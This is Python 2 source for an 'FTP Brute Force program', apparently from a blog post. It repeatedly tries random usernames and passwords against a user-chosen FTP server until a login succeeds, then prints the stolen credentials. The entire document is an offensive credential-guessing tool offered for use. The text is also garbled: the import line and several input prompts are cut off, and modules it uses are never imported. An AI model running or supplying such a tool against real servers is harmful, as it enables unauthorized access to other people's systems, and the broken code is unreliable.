from ftplib import
def bruteforce(server, username, user_min_length, user_max_length, pass_min_length, pass_max_length):
chars = string.ascii_uppercase + string.ascii_lowercase + string.digits
try:
ftp_conn = FTP(server)
except ftplib.all_errors:
print 'connection to ' + server + ' failed!\n'
exit()
else:
print 'successfully connected to ' + server + '\n'
ftp_conn.close()
del ftp_conn
while 1:
if username == '':
count_chars = 1
random_username = ''
while count_chars <= random.randint(user_min_length, user_max_length):
random_username = random_username + chars[random.randint(0, len(chars) - 1)]
count_chars = count_chars + 1
ftp_username = random_username
else:
ftp_username = username
count_chars = 1
random_password =''
while count_chars <= random.randint(pass_min_length, pass_max_length):
random_password = random_password + chars[random.randint(0, len(chars) - 1)]
count_chars = count_chars + 1
ftp_password = random_password
try:
ftp_conn = FTP(server)
except ftplib.all_errors:
print 'connection to server lost...\n'
break
print 'trying username ' + ftp_username + ' with password ' + ftp_password + '\n'
try:
ftp_conn.login(ftp_username, ftp_password)
except ftplib.all_errors:
pass
else:
print 'brute force succeeded!\nusername: ' + ftp_username + '\npassword: ' + ftp_password + '\nserver: ' + server + '\n'
break
ftp_conn.close()
del ftp_conn
ftp_conn.close()
print 'FTP Brute Force program\n\n'
print 'v0.1\n\n'
print 'By Yotam\n\n'
address = raw_input('enter the
username_opts = input('choose one of those
if username_opts == 1:
username_ftp = raw_input('enter username:\n')
u_min_l = 0
u_max_l = 0
elif username_opts == 2:
u_min_l = input('enter username min
u_max_l = input('enter username
username_ftp = ''
else:
print('error\n')
input()
exit()
p_min_l = input('enter password min length:\n')
p_max_l = input('enter password max length:\n')
bruteforce(address, username_ftp, u_min_l, u_max_l, p_min_l, p_max_l)
print '\n'
input()
0 comments:
Post a Comment